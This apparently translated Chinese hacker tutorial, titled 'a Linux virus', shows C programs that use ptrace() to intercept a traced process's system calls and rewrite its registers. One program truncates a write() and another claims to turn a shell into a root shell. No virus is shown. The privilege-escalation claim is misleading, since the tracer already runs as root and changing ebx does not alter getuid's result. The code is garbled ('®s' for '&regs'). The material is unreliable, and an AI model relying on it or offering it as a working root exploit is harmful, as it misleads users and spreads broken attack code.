一个 Linux 病毒
[/]--------------------------------------------------------------------------------------[\]
===>[ 0x00: 前言 ]
我又写了一个新文件(代码),关于Linux的病毒。
一个进程运行在本地机器上!(ELF)
[-]--------------------------------------------------------------------------------------[-]
===>[ 0x01: 关于ptrace() ]
ptrace()是一个系统调用进程控制执行其他事件。
在跟踪进程(child)的现象生成,直到捕捉一个信号时,这一过程发生在进入停止状态,并通知跟踪进程由wait()系统调用。在此过程中的跟踪(parent) 决定什么跟踪过程中应该做的。考虑到,如果跟踪进程捕捉一个SIGKILL这将会被杀掉!
[-]--------------------------------------------------------------------------------------[-]
===>[ 0x02: 有趣的ptrace() ]
#include <stdio.h>
#include <unistd.h>
int main() {
char str[]="Hi\nSup Guys?\n";
write(0, str, strlen(str));
return 0;
}
(.)输出:
$./target1
Hi
Sup Guys?
$
下面,在这里你将看到tracer1.c代码:
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /path/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //等待child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //重启停止child并发送一个SIGTRAP
wait(&status); //再次等待child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; //这儿我有原始的eax (syscall编号)
if (orig_syscall == SYS_write) { //我们的syscall编号SYS_write ??
regs.edx = 3; //调整edx为3(最大msg长度 -> 更多信息在这儿:man write(1) )
ptrace(PTRACE_SETREGS, pid, 0, ®s); //GP寄存器(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
(.)输出:
#./tracer1 /home/netspy/target1
Hi
#
正如你说看到的输出tracer1是“Hi\n”!
但是,为什么?看看tracer1.c源代码;有一个“重要”任务:
[...]
regs.edx = 3;
[...]
我们设置寄存器edx为3(最大长度“字符串” 在我们的write() syscall)。
深入查找tracer1所做的事件:
1. 检查syscall write()是否被调用
2. 读取CPU寄存器
3. 设定寄存器edx为3
4. 进程跟踪分离
例如:
write(0, -> 标准输出
"Hi\nSup Guys?\n, -> 它只输出 Hi\n (edx = 3)
3); -> 修改 edx (edx = 3)
你怎么做呢?简单吗?
Cool,现在我只是想尝试解释其他有趣的例子;所以就看看target2.c和tracer2.c源代码!
#include <stdio.h>
#include <unistd.h>
int main() {
printf( "user id: %d\n", getuid() );
execl("/bin/csh", "csh", NULL, 0);
return 0;
}
(.) 输出:
$ ./target2
user id: 1000
%id
uid=1000(netspy) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)
现在看看.. tracer2.c :
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /home/netspy/articles/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //等待child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //重启停止child并发送一个SIGTRAP
wait(&status); //再次等待child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // 这儿我有原始的eax (syscall编号)
if (orig_syscall == SYS_getuid32) {
regs.ebx = 0; //设置ebx为0(root访问)
ptrace(PTRACE_SETREGS, pid, 0, ®s); //GP 寄存器(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
(.) 输出:
# ./tracer2 /home/netspy/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Killed!
#
如果你读的源代码你会发现我的注释并且我认为/希望你能理解,但对懒惰的人我会解释主要函数。
[... 在 child 中 ...]
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
[....]
只是跟踪的进程...
[... 在 parent 中 ...]
1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax;
3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;
5. ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
[....]
这有点更加困难,但如果你懂得C语言,这将不会成为问题。
1. 重新启动停止child并读取syscall
2. 读取CPU寄存器
3/4. 如果syscall是SYS_getuid32设置ebx为0并再次以root访问
5. 复制child寄存器
现在 /bin/csh shell 是root权限!!